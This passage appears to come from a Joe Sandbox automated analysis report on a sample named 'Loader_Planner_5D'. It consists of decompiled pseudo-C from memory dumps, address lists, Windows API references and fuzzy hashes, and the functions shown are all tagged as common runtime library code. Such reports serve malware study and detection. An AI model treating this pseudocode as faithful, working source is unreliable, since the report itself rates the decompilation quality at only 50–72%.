				 *((long long*)(_t219 + 0x10)) = _t236;
				 *((long long*)(_t219 + 0x18)) = 0xf;
				 *_t219 = 0;
				return E00007FF77FF710641DF0(r12d, __ecx,  *(_t221 + 0xff0) ^ _t223);
			}

0x7ff71063935d
0x7ff71063936a
0x7ff71063936f
0x7ff710639372
0x7ff710639379
0x7ff71063937c
0x7ff710639386
0x7ff710639389
0x7ff71063938f
0x7ff710639393
0x7ff710639397
0x7ff71063939b
0x7ff7106393a2
0x7ff7106393a6
0x7ff7106393a9
0x7ff7106393b0
0x7ff7106393bd
0x7ff7106393cb
0x7ff7106393d7
0x7ff7106393dc
0x7ff7106393df
0x7ff7106393e4
0x7ff7106393e7
0x7ff7106393ed
0x7ff7106393f0
0x7ff7106393f5
0x7ff7106393f9
0x7ff7106393fe
0x7ff710639402
0x7ff71063940a
0x7ff71063940d
0x7ff71063941f
0x7ff710639424
0x7ff710639427
0x7ff71063942c
0x7ff71063942f
0x7ff710639435
0x7ff710639438
0x7ff71063943d
0x7ff710639441
0x7ff710639446
0x7ff71063944a
0x7ff710639452
0x7ff71063945d
0x7ff71063946b
0x7ff710639470
0x7ff710639473
0x7ff710639477
0x7ff71063947b
0x7ff71063947f
0x7ff710639483
0x7ff71063948b
0x7ff710639497
0x7ff7106394a2
0x7ff7106394a7
0x7ff7106394af
0x7ff7106394c3
0x7ff7106394d8
0x7ff7106394de
0x7ff7106394e3
0x7ff7106394eb
0x7ff7106394f1
0x7ff7106394f6
0x7ff7106394fe
0x7ff710639511
0x7ff710639526
0x7ff71063952c
0x7ff710639532
0x7ff71063953b
0x7ff71063954f
0x7ff710639564
0x7ff71063956a
0x7ff71063956f
0x7ff710639577
0x7ff71063957d
0x7ff710639582
0x7ff71063958b
0x7ff71063959f
0x7ff7106395b4
0x7ff7106395ba
0x7ff7106395bf
0x7ff7106395c7
0x7ff7106395cd
0x7ff7106395d2
0x7ff7106395da
0x7ff7106395ed
0x7ff710639602
0x7ff710639608
0x7ff710639615
0x7ff71063961a
0x7ff71063961d
0x7ff710639624
0x7ff71063962c
0x7ff71063962e
0x7ff710639631
0x7ff71063963e
0x7ff710639646
0x7ff710639651
0x7ff710639654
0x7ff71063965c
0x7ff71063966b
0x7ff710639680
0x7ff710639689
0x7ff71063968e
0x7ff710639692
0x7ff71063969a
0x7ff71063969d
0x7ff7106396a5
0x7ff7106396b4
0x7ff7106396c9
0x7ff7106396d2
0x7ff7106396d7
0x7ff7106396db
0x7ff7106396e3
0x7ff7106396e6
0x7ff7106396ee
0x7ff7106396fd
0x7ff710639712
0x7ff71063971b
0x7ff710639720
0x7ff710639724
0x7ff71063972c
0x7ff710639730
0x7ff710639738
0x7ff710639747
0x7ff71063975c
0x7ff710639761
0x7ff710639766
0x7ff71063976a
0x7ff710639772
0x7ff71063979a

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2afc9d8a0ed5db7dba8d90812e83f5db40f7ef2400f2aec6b2fb7daf96c1435
Instruction ID: 6982c16b4b41c6a8da00f384993936794917d1ffbde803cf1296ca01459a24a7
Opcode Fuzzy Hash: c2afc9d8a0ed5db7dba8d90812e83f5db40f7ef2400f2aec6b2fb7daf96c1435
Instruction Fuzzy Hash: A931B272A14E4695F714FB25E5453AE6666FB15BA8FC04430DE4C07B86DFB8F0D883A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7106478DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 50%

			E00007FF77FF7106478DC(void* __ecx, long long __rbx, void* __rdx, signed int __rsi, void* __r8, void* __r9) {
				intOrPtr _t61;
				intOrPtr _t65;
				intOrPtr _t67;
				intOrPtr _t68;
				struct HINSTANCE__* _t81;
				long long _t85;
				void* _t89;
				struct HINSTANCE__* _t94;
				long _t97;
				void* _t100;
				signed long long _t101;
				WCHAR* _t104;

				 *((long long*)(_t89 + 8)) = __rbx;
				 *((long long*)(_t89 + 0x10)) = _t85;
				 *((long long*)(_t89 + 0x18)) = __rsi;
				_t101 = _t100 | 0xffffffff;
				_t61 =  *((intOrPtr*)(0x7ff710620000 + 0x6b288 + _t81 * 8));
				if (_t61 == _t101) goto 0x10647a0b;
				if (_t61 != 0) goto 0x10647a0d;
				if (__r8 == __r9) goto 0x10647a03;
				_t67 =  *((intOrPtr*)(0x7ff710620000 + 0x6b270 + __rsi * 8));
				if (_t67 == 0) goto 0x1064794e;
				if (_t67 != _t101) goto 0x106479e5;
				goto 0x106479b9;
				r8d = 0x800;
				LoadLibraryExW(_t104, _t100, _t97);
				_t68 = _t61;
				if (_t61 != 0) goto 0x106479c5;
				if (GetLastError() != 0x57) goto 0x106479a7;
				_t14 = _t68 + 7; // 0x7
				r8d = _t14;
				if (E00007FF77FF710650300(__r8) == 0) goto 0x106479a7;
				r8d = 0;
				LoadLibraryExW(??, ??, ??);
				if (_t61 != 0) goto 0x106479c5;
				 *((intOrPtr*)(0x7ff710620000 + 0x6b270 + __rsi * 8)) = _t101;
				goto 0x1064792c;
				_t21 = 0x7ff710620000 + 0x6b270 + __rsi * 8;
				_t65 =  *_t21;
				 *_t21 = _t61;
				if (_t65 == 0) goto 0x106479e5;
				FreeLibrary(_t94);
				GetProcAddress(_t81);
				if (_t65 == 0) goto 0x10647a03;
				 *((intOrPtr*)(0x7ff710620000 + 0x6b288 + _t81 * 8)) = _t65;
				goto 0x10647a0d;
				 *((intOrPtr*)(0x7ff710620000 + 0x6b288 + _t81 * 8)) = _t101;
				return 0;
			}

0x7ff7106478dc
0x7ff7106478e1
0x7ff7106478e6
0x7ff710647901
0x7ff71064790e
0x7ff71064791a
0x7ff710647923
0x7ff71064792c
0x7ff710647935
0x7ff710647941
0x7ff710647946
0x7ff71064794c
0x7ff71064795b
0x7ff710647961
0x7ff710647967
0x7ff71064796d
0x7ff710647978
0x7ff71064797a
0x7ff71064797a
0x7ff71064798f
0x7ff710647991
0x7ff710647999
0x7ff7106479a5
0x7ff7106479b1
0x7ff7106479c0
0x7ff7106479cf
0x7ff7106479cf
0x7ff7106479cf
0x7ff7106479da
0x7ff7106479df
0x7ff7106479eb
0x7ff7106479f4
0x7ff7106479f9
0x7ff710647a01
0x7ff710647a03
0x7ff710647a29

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF710647AE3,?,?,00000000,00007FF710644676,?,?,?,00007FF7106636F9), ref: 00007FF710647961
GetLastError.KERNEL32(?,?,?,00007FF710647AE3,?,?,00000000,00007FF710644676,?,?,?,00007FF7106636F9), ref: 00007FF71064796F
LoadLibraryExW.KERNEL32(?,?,?,00007FF710647AE3,?,?,00000000,00007FF710644676,?,?,?,00007FF7106636F9), ref: 00007FF710647999
FreeLibrary.KERNEL32(?,?,?,00007FF710647AE3,?,?,00000000,00007FF710644676,?,?,?,00007FF7106636F9), ref: 00007FF7106479DF
GetProcAddress.KERNEL32(?,?,?,00007FF710647AE3,?,?,00000000,00007FF710644676,?,?,?,00007FF7106636F9), ref: 00007FF7106479EB

Strings

api-ms-, xrefs: 00007FF710647981

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 785acb1444d84fc5fb8824b27ccfaa79f0f86456ced37b357fe4884e9510acab
Instruction ID: 35d6fb0591b0adea89d38a455b6f6fd65dd4154d25fa475e1c9610041148f4dc
Opcode Fuzzy Hash: 785acb1444d84fc5fb8824b27ccfaa79f0f86456ced37b357fe4884e9510acab
Instruction Fuzzy Hash: EB31B431A1AE8281FE51BB16A800679A396BF05BB0F994535DD1D8B395DF3CF0898320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710650904 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF710650913
FlsGetValue.KERNEL32 ref: 00007FF710650928
FlsSetValue.KERNEL32 ref: 00007FF710650949
FlsSetValue.KERNEL32 ref: 00007FF710650976
FlsSetValue.KERNEL32 ref: 00007FF710650987
FlsSetValue.KERNEL32 ref: 00007FF710650998
SetLastError.KERNEL32 ref: 00007FF7106509B3

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: eb650fec2ce99509b1ac581cc03c17881fa595281b4f2266f67080492552c992
Instruction ID: 756463e94cce7d12875f7520025520a0bd51bc342757c5efd3d3c3303b92db33
Opcode Fuzzy Hash: eb650fec2ce99509b1ac581cc03c17881fa595281b4f2266f67080492552c992
Instruction Fuzzy Hash: 76214C21E1CE4381FA5873629556139E2A36F497F0F941734F97E06BCBDE2CF4498220

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71065F524 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF71065F555
GetLastError.KERNEL32 ref: 00007FF71065F561
CloseHandle.KERNEL32 ref: 00007FF71065F579
CreateFileW.KERNEL32 ref: 00007FF71065F5A4
WriteConsoleW.KERNEL32 ref: 00007FF71065F5C3

Strings

CONOUT$, xrefs: 00007FF71065F585

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: c44cd421716141e361f548fea89e523c5591fd99e2f91a27d991658f5ac37ced
Instruction ID: 86ff5fb29a3202d657e92a6887989a21cb3f63cc6934278e7ba3d46d00f564e0
Opcode Fuzzy Hash: c44cd421716141e361f548fea89e523c5591fd99e2f91a27d991658f5ac37ced
Instruction Fuzzy Hash: 3211B121B18F4186E350AB56E854329A2B5FB98BF4F840235EA1E83798DF3CE548C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710662D64 Relevance: 9.2, APIs: 6, Instructions: 240COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 00007FF710662E0D
MultiByteToWideChar.KERNEL32 ref: 00007FF710662EB0
MultiByteToWideChar.KERNEL32 ref: 00007FF710662F51
MultiByteToWideChar.KERNEL32 ref: 00007FF710662F9B
MultiByteToWideChar.KERNEL32 ref: 00007FF710663032
CompareStringEx.KERNEL32 ref: 00007FF710663065

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: ByteCharMultiWide$CompareInfoString
String ID:
API String ID: 2984826149-0
Opcode ID: 9f6573d501f553928a2b888d6eb9663f4605cf484ac1e7d13b0eea3102c2a712
Instruction ID: e57076f240d280de66a4c4380c0538ce2e6b206562faa2dcce21f8bb27fdb3e7
Opcode Fuzzy Hash: 9f6573d501f553928a2b888d6eb9663f4605cf484ac1e7d13b0eea3102c2a712
Instruction Fuzzy Hash: ACA1A026B08E8246FB31AB6594503BAA6B3AF45BB4FC84231DA5D067D5DF7DF44C8320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710662A08 Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF710662A7A
MultiByteToWideChar.KERNEL32 ref: 00007FF710662B22
LCMapStringEx.KERNEL32 ref: 00007FF710662B59
LCMapStringEx.KERNEL32 ref: 00007FF710662BB2
LCMapStringEx.KERNEL32 ref: 00007FF710662C5F
WideCharToMultiByte.KERNEL32 ref: 00007FF710662CA1

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: 880963d2c901157fdbb5f5b34f33a1345fda63a51b53628dfa19b753908a7767
Instruction ID: 22f9086fbf587334538d7a8ebc7b3699b6bb25648bb6fcca832b7932e789b17c
Opcode Fuzzy Hash: 880963d2c901157fdbb5f5b34f33a1345fda63a51b53628dfa19b753908a7767
Instruction Fuzzy Hash: 7D81A536B18F4286EB609F11D44037AA2A2FF44BB8F940635EA5D57BC8DF7CE4498720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710645514 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 317
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 72%

			E00007FF77FF710645514(void* __ecx, intOrPtr* __rcx, long long __rdx, void* __r8, void* __r9) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t157;
				intOrPtr _t158;
				intOrPtr _t160;
				void* _t179;
				intOrPtr _t195;
				intOrPtr _t200;
				void* _t201;
				signed long long _t239;
				signed long long _t240;
				signed char _t241;
				intOrPtr* _t243;
				long long _t245;
				long long _t253;
				intOrPtr* _t255;
				signed char* _t257;
				intOrPtr* _t269;
				void* _t290;
				void* _t291;
				void* _t292;
				void* _t293;
				signed long long _t294;
				long long _t303;
				long long _t304;
				intOrPtr* _t305;
				long long _t313;
				signed char* _t316;
				intOrPtr _t321;

				_t292 = _t293 - 0x88;
				_t294 = _t293 - 0x188;
				_t239 =  *0x10689010; // 0xafe3859a1ce3
				_t240 = _t239 ^ _t294;
				 *(_t292 + 0x70) = _t240;
				_t316 =  *((intOrPtr*)(_t292 + 0xf0));
				 *((long long*)(_t294 + 0x78)) = __rdx;
				_t257 = _t316;
				 *((long long*)(_t292 - 0x60)) =  *((intOrPtr*)(_t292 + 0x108));
				_t291 = __r9;
				 *((char*)(_t294 + 0x60)) = 0;
				E00007FF77FF7106447AC(_t257, __r9, __r9);
				if ( *((intOrPtr*)(__r9 + 0x48)) == 0) goto 0x10645590;
				E00007FF77FF710644570(_t240);
				if ( *((intOrPtr*)(_t240 + 0x78)) != 0xfffffffe) goto 0x10645a09;
				goto 0x106455af;
				E00007FF77FF710644570(_t240);
				if ( *((intOrPtr*)(_t240 + 0x78)) == 0xfffffffe) goto 0x106455af;
				E00007FF77FF710644570(_t240);
				_t200 =  *((intOrPtr*)(_t240 + 0x78));
				E00007FF77FF710644570(_t240);
				 *((intOrPtr*)(_t240 + 0x78)) = 0xfffffffe;
				if (_t200 - 0xffffffff < 0) goto 0x10645a09;
				if (_t316[8] == 0) goto 0x106455ef;
				_t241 = _t257[0x7ff71066c650];
				goto 0x106455f1;
				if (_t200 >= 0) goto 0x10645a09;
				if ( *__rcx != 0xe06d7363) goto 0x106456c9;
				if ( *((intOrPtr*)(__rcx + 0x18)) != 4) goto 0x106456c9;
				if ( *((intOrPtr*)(__rcx + 0x20)) - 0x19930520 - 2 > 0) goto 0x106456c9;
				if ( *((long long*)(__rcx + 0x30)) != 0) goto 0x106456c9;
				E00007FF77FF710644570(_t241);
				if ( *((long long*)(_t241 + 0x20)) == 0) goto 0x106459a7;
				E00007FF77FF710644570(_t241);
				_t255 =  *((intOrPtr*)(_t241 + 0x20));
				E00007FF77FF710644570(_t241);
				 *((char*)(_t294 + 0x60)) = 1;
				E00007FF77FF710643A70(_t241,  *((intOrPtr*)(_t255 + 0x38)));
				if ( *_t255 != 0xe06d7363) goto 0x10645681;
				if ( *((intOrPtr*)(_t255 + 0x18)) != 4) goto 0x10645681;
				if ( *((intOrPtr*)(_t255 + 0x20)) - 0x19930520 - 2 > 0) goto 0x10645681;
				if ( *((long long*)(_t255 + 0x30)) == 0) goto 0x10645a09;
				E00007FF77FF710644570(_t241);
				if ( *(_t241 + 0x38) == 0) goto 0x106456c9;
				E00007FF77FF710644570(_t241);
				E00007FF77FF710644570(_t241);
				 *(_t241 + 0x38) =  *(_t241 + 0x38) & 0x00000000;
				if (E00007FF77FF710647428(_t241, _t255, _t255,  *(_t241 + 0x38), __r9) != 0) goto 0x106456c4;
				if (E00007FF77FF710647518(_t241, _t255,  *(_t241 + 0x38), __r9, _t292) == 0) goto 0x106459eb;
				goto 0x106459c7;
				E00007FF77FF71064674C(_t292 - 0x10, _t316,  *((intOrPtr*)(__r9 + 8)));
				if ( *_t255 != 0xe06d7363) goto 0x1064595f;
				if ( *((intOrPtr*)(_t255 + 0x18)) != 4) goto 0x1064595f;
				if ( *((intOrPtr*)(_t255 + 0x20)) - 0x19930520 - 2 > 0) goto 0x1064595f;
				if ( *((intOrPtr*)(_t292 - 0x10)) <= 0) goto 0x10645944;
				 *((intOrPtr*)(_t294 + 0x28)) =  *((intOrPtr*)(_t292 + 0x100));
				 *(_t294 + 0x20) = _t316;
				r8d = _t200;
				_t157 = E00007FF77FF71064344C(_t255, _t292 - 0x58, _t292 - 0x10, _t290, _t291, _t292);
				asm("movups xmm0, [ebp-0x58]");
				asm("movdqu [ebp-0x78], xmm0");
				asm("psrldq xmm0, 0x8");
				asm("movd eax, xmm0");
				if (_t157 -  *((intOrPtr*)(_t292 - 0x40)) >= 0) goto 0x10645944;
				_t158 =  *((intOrPtr*)(_t292 - 0x70));
				 *((long long*)(_t292 - 0x80)) =  *((intOrPtr*)(_t292 - 0x58));
				 *((intOrPtr*)(_t294 + 0x68)) = _t158;
				asm("inc ecx");
				asm("dec ax");
				asm("movups [ebp-0x78], xmm0");
				if (_t158 - _t200 > 0) goto 0x1064589f;
				if (_t200 - _t158 > 0) goto 0x1064589f;
				_t243 =  *((intOrPtr*)(_t291 + 0x10));
				r9d =  *_t243;
				E00007FF77FF7106466D0(_t243, _t292 + 0x20, _t292 - 0x78,  *((intOrPtr*)(_t291 + 8)));
				_t160 =  *((intOrPtr*)(_t292 + 0x20));
				r12d = 0;
				 *((intOrPtr*)(_t294 + 0x64)) = r12d;
				 *((intOrPtr*)(_t294 + 0x6c)) = _t160;
				if (_t160 == 0) goto 0x1064589f;
				asm("movups xmm0, [ebp+0x38]");
				asm("movups xmm1, [ebp+0x48]");
				asm("movups [ebp-0x38], xmm0");
				asm("movsd xmm0, [ebp+0x58]");
				asm("movsd [ebp-0x18], xmm0");
				asm("movups [ebp-0x28], xmm1");
				E00007FF77FF710643A44(_t243);
				_t245 = _t243 + 4 +  *((intOrPtr*)( *((intOrPtr*)(_t255 + 0x30)) + 0xc));
				 *((long long*)(_t294 + 0x70)) = _t245;
				E00007FF77FF710643A44(_t245);
				r15d =  *((intOrPtr*)(_t245 +  *((intOrPtr*)( *((intOrPtr*)(_t255 + 0x30)) + 0xc))));
				if (r15d <= 0) goto 0x1064582a;
				E00007FF77FF710643A44(_t245);
				_t313 = _t245 +  *((intOrPtr*)( *((intOrPtr*)(_t294 + 0x70))));
				if (E00007FF77FF71064605C(_t201, _t255, _t292 - 0x38, _t313, _t290, _t291,  *((intOrPtr*)(_t255 + 0x30))) != 0) goto 0x10645847;
				 *((long long*)(_t294 + 0x70)) =  *((long long*)(_t294 + 0x70)) + 4;
				r15d = r15d - 1;
				if (r15d > 0) goto 0x106457f0;
				r12d =  *((intOrPtr*)(_t294 + 0x64));
				E00007FF77FF710646CBC( *((intOrPtr*)(_t294 + 0x70)), _t292 + 0x20);
				r12d = r12d + 1;
				 *((intOrPtr*)(_t294 + 0x64)) = r12d;
				if (r12d ==  *((intOrPtr*)(_t294 + 0x6c))) goto 0x1064589b;
				goto 0x106457a7;
				 *((char*)(_t294 + 0x58)) =  *((intOrPtr*)(_t292 + 0xf8));
				_t269 = _t255;
				 *((char*)(_t294 + 0x50)) =  *((intOrPtr*)(_t294 + 0x60));
				 *((long long*)(_t294 + 0x48)) =  *((intOrPtr*)(_t292 - 0x60));
				 *((intOrPtr*)(_t294 + 0x40)) =  *((intOrPtr*)(_t292 + 0x100));
				 *((long long*)(_t294 + 0x38)) = _t292 - 0x78;
				 *((long long*)(_t294 + 0x30)) = _t313;
				 *((long long*)(_t294 + 0x28)) = _t292 - 0x38;
				 *(_t294 + 0x20) = _t316;
				E00007FF77FF710644F68(_t257[0x7ff71066c660], _t255, _t269,  *((intOrPtr*)(_t294 + 0x78)),  *((intOrPtr*)(_t241 + 0x28)), _t291);
				_t321 =  *((intOrPtr*)(_t292 - 0x80));
				_t303 =  *((intOrPtr*)(_t321 + 8)) -  *((char*)(_t269 + 0x7ff71066c650));
				 *((long long*)(_t321 + 8)) = _t303;
				 *(_t321 + 0x18) =  *(_t303 - 4) >>  *(_t269 + 0x7ff71066c660);
				_t304 = _t303 -  *((char*)(_t269 + 0x7ff71066c650));
				 *((long long*)(_t321 + 8)) = _t304;
				 *(_t321 + 0x1c) =  *(_t304 - 4) >>  *(_t269 + 0x7ff71066c660);
				_t305 = _t304 -  *((char*)(_t269 + 0x7ff71066c650));
				 *(_t321 + 0x20) =  *(_t305 - 4) >>  *(_t269 + 0x7ff71066c660);
				_t195 =  *((intOrPtr*)(_t294 + 0x68)) + 1;
				 *((long long*)(_t321 + 8)) = _t305;
				_t116 = _t305 + 4; // 0x4
				_t253 = _t116;
				 *((long long*)(_t321 + 8)) = _t253;
				 *((intOrPtr*)(_t321 + 0x24)) =  *_t305;
				 *((intOrPtr*)(_t294 + 0x68)) = _t195;
				if (_t195 -  *((intOrPtr*)(_t292 - 0x40)) < 0) goto 0x10645756;
				if (( *_t316 & 0x00000040) == 0) goto 0x1064599b;
				if (E00007FF77FF71064317C(_t316) == 0) goto 0x106459f1;
				goto 0x1064599b;
				if ( *((intOrPtr*)(_t292 - 0x10)) <= 0) goto 0x1064599b;
				if ( *((char*)(_t292 + 0xf8)) != 0) goto 0x10645a09;
				 *((long long*)(_t294 + 0x38)) = _t313;
				 *((intOrPtr*)(_t294 + 0x30)) =  *((intOrPtr*)(_t292 + 0x100));
				 *((intOrPtr*)(_t294 + 0x28)) = _t200;
				 *(_t294 + 0x20) = _t316;
				E00007FF77FF710645C2C( *_t305, _t255, _t321,  *((intOrPtr*)(_t241 + 0x28)), _t291);
				_t179 = E00007FF77FF710644570(_t253);
				if ( *((long long*)(_t253 + 0x38)) != 0) goto 0x10645a09;
				return E00007FF77FF710641DF0(_t179, _t195,  *(_t292 + 0x70) ^ _t294);
			}

0x7ff710645521
0x7ff710645529
0x7ff710645530
0x7ff710645537
0x7ff71064553a
0x7ff71064553e
0x7ff710645552
0x7ff710645557
0x7ff71064555d
0x7ff710645561
0x7ff710645564
0x7ff71064556c
0x7ff710645577
0x7ff710645579
0x7ff710645582
0x7ff71064558e
0x7ff710645590
0x7ff710645599
0x7ff71064559b
0x7ff7106455a0
0x7ff7106455a3
0x7ff7106455a8
0x7ff7106455b2
0x7ff7106455c4
0x7ff7106455d4
0x7ff7106455ed
0x7ff7106455f3
0x7ff7106455ff
0x7ff710645609
0x7ff71064561a
0x7ff710645625
0x7ff71064562b
0x7ff710645635
0x7ff71064563b
0x7ff710645640
0x7ff710645644
0x7ff71064564d
0x7ff710645656
0x7ff710645661
0x7ff710645667
0x7ff710645674
0x7ff71064567b
0x7ff710645681
0x7ff71064568b
0x7ff71064568d
0x7ff710645696
0x7ff7106456a1
0x7ff7106456ad
0x7ff7106456b9
0x7ff7106456bf
0x7ff7106456d4
0x7ff7106456df
0x7ff7106456e9
0x7ff7106456fa
0x7ff710645704
0x7ff710645714
0x7ff71064571f
0x7ff710645724
0x7ff710645727
0x7ff71064572c
0x7ff710645730
0x7ff710645735
0x7ff71064573a
0x7ff710645741
0x7ff71064574b
0x7ff71064574e
0x7ff710645752
0x7ff710645756
0x7ff71064575b
0x7ff710645760
0x7ff710645766
0x7ff710645772
0x7ff710645778
0x7ff710645788
0x7ff71064578b
0x7ff710645790
0x7ff710645793
0x7ff710645796
0x7ff71064579b
0x7ff7106457a1
0x7ff7106457a7
0x7ff7106457ab
0x7ff7106457af
0x7ff7106457b3
0x7ff7106457b8
0x7ff7106457bd
0x7ff7106457c1
0x7ff7106457d2
0x7ff7106457d5
0x7ff7106457da
0x7ff7106457e7
0x7ff7106457ee
0x7ff7106457f0
0x7ff710645804
0x7ff710645815
0x7ff710645817
0x7ff71064581d
0x7ff710645823
0x7ff710645825
0x7ff71064582e
0x7ff710645833
0x7ff710645836
0x7ff710645840
0x7ff710645842
0x7ff710645858
0x7ff71064585c
0x7ff710645863
0x7ff71064586b
0x7ff710645876
0x7ff71064587e
0x7ff710645887
0x7ff71064588c
0x7ff710645891
0x7ff710645896
0x7ff71064589b
0x7ff7106458c1
0x7ff7106458ca
0x7ff7106458ce
0x7ff7106458e9
0x7ff7106458f2
0x7ff7106458f6
0x7ff710645911
0x7ff71064591e
0x7ff710645922
0x7ff710645924
0x7ff710645928
0x7ff710645928
0x7ff71064592f
0x7ff710645933
0x7ff710645937
0x7ff71064593e
0x7ff710645948
0x7ff710645957
0x7ff71064595d
0x7ff710645963
0x7ff71064596c
0x7ff71064597b
0x7ff710645983
0x7ff71064598a
0x7ff710645991
0x7ff710645996
0x7ff71064599b
0x7ff7106459a5
0x7ff7106459c6

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF7106456B2
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7106459D5

Strings

csm, xrefs: 00007FF7106455F9
csm, xrefs: 00007FF7106456D9
csm, xrefs: 00007FF71064565B

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 3523768491-393685449
Opcode ID: bc79f3b0fd524482c01b01121c197ee6de92dfd9f0b0b0e31bec63a80c608f61
Instruction ID: 27da370ecffe84c4f61f83205cb5e29ad8fbd1c45adfd3111fa3826a2b08033b
Opcode Fuzzy Hash: bc79f3b0fd524482c01b01121c197ee6de92dfd9f0b0b0e31bec63a80c608f61
